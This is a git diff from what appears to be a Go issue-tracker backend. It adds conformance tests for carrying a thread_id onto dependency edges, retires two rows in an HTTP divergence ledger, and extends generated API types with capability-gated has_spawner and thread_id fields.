TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 5bb9e7056..49ed97a4f 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -6,6 +6,7 @@ import ( "errors" "fmt" "reflect" + "strings" "testing" "github.com/steveyegge/beads/internal/types" @@ -1525,10 +1526,11 @@ func RunBatchApplyNormalizesTheWaitsForGate(t *testing.T, ctx context.Context, f // regression for HIGH-2: a waits-for DepAddItem must only acquire // metadata.spawner_id when the caller explicitly named a spawner // (HasSpawner=true, which bd create --graph sets when the plan declares -// edges[].spawner_key/spawner_id). An edge with no named spawner must keep -// its gate-only metadata untouched — stamping it unconditionally from the -// resolved target caused unnecessary rewrite/version churn when gc -// re-applies the same edge (see CHANGELOG.md). +// edges[].spawner_key/spawner_id, as does an embedder lowering such a plan +// onto this role). An edge with no named spawner must keep its gate-only +// metadata untouched — stamping it unconditionally from the resolved target +// caused unnecessary rewrite/version churn when gc re-applies the same edge +// (see CHANGELOG.md). func RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { t.Helper() spawner := fixture.IssuePrefix + "-spawner-named" @@ -1578,6 +1580,157 @@ func RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T, ctx context.Context } } +// RunBatchApplyCarriesThreadIDOntoTheStoredEdge pins DepAddItem.ThreadID +// (the 2026-10 Opus-review HIGH-2 finding): a conversation-threading id named +// on a dep_add item must land on the stored dependency row's own thread_id +// column, and an item that names none must store none. ThreadID is a plain +// column read independently of HasSpawner/Metadata, so this is its own case +// rather than a clause folded onto the spawner one above. +// +// Wired onto the http leg this exercises BOTH halves of the wire at once: the +// client's applyDepAddItemBody encode (batchapplier.go) and the server's +// applyDepAddItemMembers decode (internal/httpapi/batch_apply.go) must each +// carry the field, because either one silently dropping it leaves the stored +// column blank and fails the assertion below. +func RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + source := fixture.IssuePrefix + "-thread-source" + target := fixture.IssuePrefix + "-thread-target" + batchApplySeedIssue(t, ctx, fixture, source, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, target, types.StatusOpen) + + const thread = "thread-conv-1" + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: source}, Target: publicops.Ref{ID: target}, + Type: publicops.DepBlocks, ThreadID: thread, + }}, + }, + }) + if got := batchApplyEdgeThreadID(t, ctx, fixture, source, target); got != thread { + t.Errorf("stored edge thread_id = %q, want %q", got, thread) + } + + source2 := fixture.IssuePrefix + "-thread-none-source" + target2 := fixture.IssuePrefix + "-thread-none-target" + batchApplySeedIssue(t, ctx, fixture, source2, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, target2, types.StatusOpen) + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: source2}, publicops.Ref{ID: target2}, publicops.DepBlocks, ""), + }, + }) + if got := batchApplyEdgeThreadID(t, ctx, fixture, source2, target2); got != "" { + t.Errorf("an edge naming no thread must not stamp thread_id, got %q", got) + } +} + +// RunBatchApplyCarriesThreadIDOntoAnExistingEdge pins DepAddItem.ThreadID on +// the re-add arm: a dep_add naming an edge that already exists with the same +// type is the idempotent re-add, and a thread it names still has to reach the +// stored row. That arm once compared and rewrote metadata alone, so a +// thread-only re-add was a silent no-op and a re-add moving both landed the +// metadata and dropped the thread — on the very path gc re-applies its plans +// through. +// +// The steps run on ONE edge, each from the state the step before it left: a +// thread-only re-add puts a thread on an edge that had none, a re-add moving +// the gate and the thread lands both, and a re-add naming no thread keeps the +// stored one, because an empty ThreadID names no thread rather than asking for +// none. +func RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + source := fixture.IssuePrefix + "-rethread-source" + spawner := fixture.IssuePrefix + "-rethread-spawner" + batchApplySeedIssue(t, ctx, fixture, source, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, spawner, types.StatusOpen) + + add := func(gate, thread string) { + t.Helper() + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: source}, Target: publicops.Ref{ID: spawner}, + Type: publicops.DepWaitsFor, Metadata: `{"gate":"` + gate + `"}`, ThreadID: thread, + }}, + }, + }) + } + assertEdge := func(step, wantGate, wantThread string) { + t.Helper() + assertBatchApplyEdgeCount(t, ctx, fixture, source, spawner, 1) + stored := batchApplyEdgeMetadata(t, ctx, fixture, source, spawner) + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(stored), &meta); err != nil { + t.Fatalf("%s: stored waits-for metadata %q is not a gate object: %v", step, stored, err) + } + if meta.Gate != wantGate { + t.Errorf("%s: stored gate = %q (metadata %q), want %q", step, meta.Gate, stored, wantGate) + } + if got := batchApplyEdgeThreadID(t, ctx, fixture, source, spawner); got != wantThread { + t.Errorf("%s: stored edge thread_id = %q, want %q", step, got, wantThread) + } + } + + add(types.WaitsForAllChildren, "") + assertEdge("the first add, naming no thread", types.WaitsForAllChildren, "") + + add(types.WaitsForAllChildren, "thread-conv-1") + assertEdge("a re-add moving the thread alone", types.WaitsForAllChildren, "thread-conv-1") + + add(types.WaitsForAnyChildren, "thread-conv-2") + assertEdge("a re-add moving the gate and the thread", types.WaitsForAnyChildren, "thread-conv-2") + + add(types.WaitsForAnyChildren, "") + assertEdge("a re-add naming no thread", types.WaitsForAnyChildren, "thread-conv-2") +} + +// RunBatchApplyRefusesAThreadIDLongerThanItsColumn pins the bound on +// DepAddItem.ThreadID: one longer than the thread_id column holds is +// ErrValidation and writes no edge, on every leg alike. The http leg's decode +// refused it as a typed 400 while the local legs carried it to the write, where +// it failed as whatever storage error the column raised, mid-transaction — two +// error classes for one request. The shared plan bounds it now, before any +// database work. +// +// The positive half is the same edge with a thread exactly at the bound, which +// lands whole; without it, a role refusing every thread id satisfies the +// refusal. +func RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + source := fixture.IssuePrefix + "-longthread-source" + target := fixture.IssuePrefix + "-longthread-target" + batchApplySeedIssue(t, ctx, fixture, source, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, target, types.StatusOpen) + + request := func(thread string) publicops.ApplyBatchRequest { + return publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: source}, Target: publicops.Ref{ID: target}, + Type: publicops.DepBlocks, ThreadID: thread, + }}, + }, + } + } + tooLong := strings.Repeat("t", types.MaxFieldLen+1) + if _, err := fixture.BatchApplier.ApplyBatch(ctx, request(tooLong)); !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("a %d-character thread_id: error = %v, want ErrValidation", len(tooLong), err) + } + assertBatchApplyEdgeCount(t, ctx, fixture, source, target, 0) + + atBound := strings.Repeat("t", types.MaxFieldLen) + batchApplyMust(t, ctx, fixture, request(atBound)) + if got := batchApplyEdgeThreadID(t, ctx, fixture, source, target); got != atBound { + t.Errorf("a %d-character thread_id stored as %d characters, want it whole", len(atBound), len(got)) + } +} + // RunBatchApplySplicesAForwardMetadataRef pins the one exception to the // backward-only rule (CreateItem.MetadataRefs): "IT IS THE ONE PLACE A KEY MAY // REACH FORWARD … Every id is minted before any splice is applied, so the @@ -2241,6 +2394,20 @@ func batchApplyEdgeMetadata(t *testing.T, ctx context.Context, fixture BatchAppl return blob } +// batchApplyEdgeThreadID reads the stored thread_id column of one edge, which +// is where DepAddItem.ThreadID has to be visible — a plain column, independent +// of the type-specific Metadata blob batchApplyEdgeMetadata reads. +func batchApplyEdgeThreadID(t *testing.T, ctx context.Context, fixture BatchApplyFixture, source, target string) string { + t.Helper() + var value string + const query = "SELECT COALESCE(thread_id, '') FROM dependencies WHERE issue_id = ?" + + " AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?" + if err := fixture.QueryScalar(ctx, query, []any{source, target}, &value); err != nil { + t.Fatalf("reading edge thread_id for %s -> %s: %v", source, target, err) + } + return value +} + // batchApplyMetadataKey reads the WHOLE metadata blob off a row and reports one // key's raw bytes. The whole blob is read rather than a JSON path extract, // because that is what lets a case see an absent key and a null one as the diff --git a/backend/conformance/dependency_editor_contract.go b/backend/conformance/dependency_editor_contract.go index df2aacb75..e037e9dbe 100644 --- a/backend/conformance/dependency_editor_contract.go +++ b/backend/conformance/dependency_editor_contract.go @@ -531,6 +531,96 @@ func RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T, } } +// RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion is the +// thread_id twin of +// RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion. The row +// carries a thread as well as metadata, and the source issue's version snapshot +// carries each edge's thread_id, so a same-type re-add naming a thread the row +// does not carry is a real mutation on the same terms as a metadata change: +// the leaf updates the row in place, journals the replacement edge, and mints +// EXACTLY ONE version (#5898 leg 2). The re-add arm once compared metadata +// alone, which read that re-add as change-free and dropped the thread. +// +// The metadata is identical across every write, so the thread is the only +// thing that moves. A last re-add names no thread, and is the change-free +// no-op: an empty thread names none rather than asking for none, which is +// what keeps the callers that never carry a thread from erasing one. +// +// It drives the writes through fixture.AddDependency for the reason the +// metadata case gives: publicops.DependencyEdge carries no thread either. +func RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { + t.Helper() + if fixture.AddDependency == nil { + t.Skip("fixture has no AddDependency hook: a thread is not settable through publicops.DependencyEdge") + } + fixture.SetJournalEnabled(true) + t.Cleanup(func() { fixture.SetJournalEnabled(false) }) + fixture.SetVersionedHistoryEnabled(true) + t.Cleanup(func() { fixture.SetVersionedHistoryEnabled(false) }) + source := fixture.IssuePrefix + "-idemthread-source" + target := fixture.IssuePrefix + "-idemthread-target" + seedDependencyEditorIssue(t, ctx, fixture, source) + seedDependencyEditorIssue(t, ctx, fixture, target) + + const metadata = `{"note":"v1"}` + add := func(thread, refusal string) { + t.Helper() + dep := &types.Dependency{IssueID: source, DependsOnID: target, Type: types.DepBlocks, Metadata: metadata, ThreadID: thread} + if err := fixture.AddDependency(ctx, dep, "writer"); err != nil { + t.Fatalf("%s: %v", refusal, err) + } + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(types.DepBlocks), 1) + assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + } + storedThread := func() string { + t.Helper() + var thread string + if err := fixture.QueryScalar(ctx, + "SELECT COALESCE(thread_id, '') FROM dependencies WHERE issue_id = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?", + []any{source, target}, &thread); err != nil { + t.Fatalf("read stored thread_id for %s -> %s: %v", source, target, err) + } + return thread + } + journalCount := func() int { + t.Helper() + var count int + if err := fixture.QueryScalar(ctx, + "SELECT COUNT(*) FROM bd_events_journal WHERE issue_id = ? AND op = ?", + []any{source, string(storeops.EventDepAdd)}, &count); err != nil { + t.Fatalf("count bd_events_journal dep_add rows for %s: %v", source, err) + } + return count + } + + add("", "AddDependency first") + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) + + versionsBefore := countDependencyEditorIssueVersions(t, ctx, fixture, source) + add("thread-conv-1", "re-adding the same edge with a new thread refused") + if got := storedThread(); got != "thread-conv-1" { + t.Errorf("stored thread_id = %q, want %q: the re-add must persist the new thread, not keep the old", got, "thread-conv-1") + } + if got := journalCount(); got != 2 { + t.Errorf("bd_events_journal dep_add rows for %s = %d, want 2: the thread-changed re-add must journal its own replacement-edge entry", source, got) + } + if delta := countDependencyEditorIssueVersions(t, ctx, fixture, source) - versionsBefore; delta != 1 { + t.Errorf("issue_versions rows for %s went %d -> %d (delta %d), want a delta of 1: the thread genuinely changed, so the re-add is a real mutation of the source issue and must mint exactly one version (#5898 leg 2)", source, versionsBefore, versionsBefore+delta, delta) + } + + versionsBefore = countDependencyEditorIssueVersions(t, ctx, fixture, source) + add("", "re-adding the same edge naming no thread refused") + if got := storedThread(); got != "thread-conv-1" { + t.Errorf("stored thread_id after a re-add naming no thread = %q, want %q kept", got, "thread-conv-1") + } + if got := journalCount(); got != 2 { + t.Errorf("bd_events_journal dep_add rows for %s = %d after a change-free re-add, want 2 still", source, got) + } + if delta := countDependencyEditorIssueVersions(t, ctx, fixture, source) - versionsBefore; delta != 0 { + t.Errorf("issue_versions rows for %s went %d -> %d (delta %d) on a re-add naming no thread, want a delta of 0: it keeps the stored thread, so nothing changed (#5898 R3)", source, versionsBefore, versionsBefore+delta, delta) + } +} + // RunDependencyEditorRepeatsWithinOneRequestCollapse pins the clause that // answers a request naming ONE PAIR TWICE. The same-type re-add rule is stated // for the pair rather than for the call, so the second occurrence inside a diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 55385d9b7..b74a615a8 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -45,6 +45,9 @@ var roleContractCases = []roleContract{ RunBatchApplyAcceptsAnExternalEdgeTarget, RunBatchApplyNormalizesTheWaitsForGate, RunBatchApplyStampsSpawnerIDOnlyWhenNamed, + RunBatchApplyCarriesThreadIDOntoTheStoredEdge, + RunBatchApplyCarriesThreadIDOntoAnExistingEdge, + RunBatchApplyRefusesAThreadIDLongerThanItsColumn, RunBatchApplySplicesAForwardMetadataRef, RunBatchApplySplicesASelfMetadataRef, RunBatchApplyRefusesAMetadataRefNoItemDeclares, @@ -260,6 +263,7 @@ var roleContractCases = []roleContract{ RunDependencyEditorSameTypeReAddIsIdempotent, RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion, RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp, + RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion, RunDependencyEditorRepeatsWithinOneRequestCollapse, RunDependencyEditorAttributesItsEventsToTheActor, RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge, diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index 78bbb101b..9815c30b1 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -47,7 +47,7 @@ the behavior. ## Summary -264 rows: 207 refuse, 33 degrade, 24 retired. +264 rows: 205 refuse, 33 degrade, 26 retired. ## Whole-behavior divergences (D9 ledger) @@ -134,8 +134,8 @@ Role-request fields on the served writes that the v0 wire publishes no member fo | W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation time (created_at), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence. created_by is published on no create shape either, but every one of them STAMPS it from the request's actor (internal/httpapi's create.go, batch_create.go and batch_apply.go) — the local front doors' own rule, since the role copies the member rather than stamping it. So a CreatedBy that names the actor, which is what every CLI create sends, arrives as written, and only one naming someone else refuses: the stamp would silently replace it. A server that predates the stamp stores an empty created_by for that one member | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all. Nor is a CreatedBy that names the request's actor: the server stamps every create item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-DepAddItem.HasSpawner | refuse | `DepAddItem.HasSpawner` | a waits-for edge ITEM that names its spawner refuses | ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-DepAddItem.ThreadID | refuse | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread refuses | ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.HasSpawner | retired | `DepAddItem.HasSpawner` | a waits-for edge ITEM that names its spawner used to refuse | RETIRED by issues.batchApply.depAddLineage (S5). ApplyDepAddItem now publishes `has_spawner` — the write this row said only the role could make, metadata's spawner_id stamped from the resolved target — gated on the capability rather than dropped: a caller on a server that has not advertised the token refuses locally before the dial (BatchApplier.refuseUnservedDepAddLineage), and a caller on a server that has sends the member exactly as given. The flag is sent, and gated, on a waits-for edge only, the one type the role reads it on. Off a waits-for edge it is the role's no-op, so the client drops it there without loss — the stored row is the same either way — rather than refusing a request the flag cannot change, or sending an older server a member it answers with a 400 | D8 refuse-not-drop (RETIRED) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.ThreadID | retired | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread used to refuse | RETIRED with W-DepAddItem.HasSpawner (S5, issues.batchApply.depAddLineage). ApplyDepAddItem now publishes `thread_id` as a plain column on the stored edge, gated by the same capability and the same pre-dial refusal rather than dropped — a caller naming a thread on an unadvertising server is refused before the dial, never silently stored with no thread | D8 refuse-not-drop (RETIRED) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-CloseBatchRequest.ClaimNext | refuse | `CloseBatchRequest.ClaimNext` | folding an atomic claim-after-close onto a batch close refuses | batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-SweepRequest.ProtectLiveDependents | retired | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep used to refuse | RETIRED by the S4 wire extension that sends it. The gap was always the DOCUMENT's rather than a decision: the local Sweeper role carries a structural-dependent protection alongside the referenced-citation one, and apigen.SweepRequest had no protect_live_dependents member for this client to narrow onto, so sending `true` and silently dropping it would have run an UNPROTECTED sweep while the caller believed the structural guard was active. The spec now publishes `protect_live_dependents` (and SweepSkips.live_dependent on the response) behind its own behavior-capability token, issues.sweep.liveDependents, because it is a parameter added to an operation that already shipped. The client sends it only once the handshake advertises the token and refuses locally, before the dial, when it does not — see refuseUnservedSweep (sweeper.go) and W-SweepRequest.Limit for the sibling member closed the same way | D8 refuse-not-drop | TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem | diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index f5cecef32..37e13b5f9 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -495,7 +495,12 @@ type ApplyCreateItem struct { // A WAITS-FOR EDGE IS NORMALIZED RATHER THAN STORED AS ASKED. An absent, empty or `{}` `metadata` on a `waits-for` edge is STORED as `{"gate":"all-children"}`, because a stored waits-for row must be self-describing: readers predating the gate's introduction do not default a missing one, so an empty gate is a row those readers get wrong. A metadata that names a gate keeps it, along with the spawner and also-blocks members a caller may carry, and a gate that is neither `all-children` nor `any-children` is a `400`. Nothing else about that member is interpreted. // // THERE IS NO TYPED `waits_for` MEMBER, and that is the shape rather than an omission: every measured caller already carries the gate as metadata, a typed spelling lowers to these same bytes, and the blob carries members a two-field typed member could not express. One spelling, and it is this one. +// +// `has_spawner` and `thread_id` require `issues.batchApply.depAddLineage`: a client naming either on a server that has not advertised the token refuses locally before the dial rather than sending bytes an older server would answer with its own `400` for an unknown member. type ApplyDepAddItem struct { + // HasSpawner Gated by `issues.batchApply.depAddLineage`. Ignored for every `type` but `waits-for`: on a `waits-for` edge, `true` stamps `metadata.spawner_id` with this item's `target` (the id `bd create --graph`'s spawner_key/spawner_id resolved to), so a reader learns which spawned row to watch without re-deriving it from the graph plan. Absent or `false` leaves `metadata` exactly as given. + HasSpawner *bool `json:"has_spawner,omitempty"` + // Metadata One metadata value: ANY JSON value — string, number, boolean, null, array or object — because typed values enter through the explicit JSON metadata path and persist in older rows. It is not a string, and a client must not decode it as one. // // Where a member of this type is OMITTED, the key is absent; where it is present holding `null`, the key exists and holds null. Those are different states and this surface reports both. @@ -515,6 +520,9 @@ type ApplyDepAddItem struct { // A KEY REACHES BACKWARD ONLY where the ref ADDRESSES a row — an `update.target`, a `close.target`, either endpoint of a `dep_add`. The one exception is `create.metadata_refs`, whose values may reach forward or name their own item's key; the operation's description says why. Target Ref `json:"target"` + // ThreadId Gated by `issues.batchApply.depAddLineage`. A plain column on the stored edge, separate from `metadata`'s blob — the graph-plan thread this edge belongs to, for a reader that groups edges by thread without parsing every edge's metadata. + ThreadId *string `json:"thread_id,omitempty"` + // Type The edge type, from the same OPEN vocabulary `Dependency.type` carries: checked for BEING a storable value, never for membership of a known-types list, so a workspace's own type passes. Type string `json:"type"` } @@ -548,6 +556,8 @@ type ApplyItem struct { // A WAITS-FOR EDGE IS NORMALIZED RATHER THAN STORED AS ASKED. An absent, empty or `{}` `metadata` on a `waits-for` edge is STORED as `{"gate":"all-children"}`, because a stored waits-for row must be self-describing: readers predating the gate's introduction do not default a missing one, so an empty gate is a row those readers get wrong. A metadata that names a gate keeps it, along with the spawner and also-blocks members a caller may carry, and a gate that is neither `all-children` nor `any-children` is a `400`. Nothing else about that member is interpreted. // // THERE IS NO TYPED `waits_for` MEMBER, and that is the shape rather than an omission: every measured caller already carries the gate as metadata, a typed spelling lowers to these same bytes, and the blob carries members a two-field typed member could not express. One spelling, and it is this one. + // + // `has_spawner` and `thread_id` require `issues.batchApply.depAddLineage`: a client naming either on a server that has not advertised the token refuses locally before the dial rather than sending bytes an older server would answer with its own `400` for an unknown member. DepAdd *ApplyDepAddItem `json:"dep_add,omitempty"` // Kind Which member below is read. A CLOSED set, unlike a dependency `type`: every value here is a verb this operation implements, and an unknown one is a request the server cannot execute rather than a workspace's own vocabulary. @@ -1037,7 +1047,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, and `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, 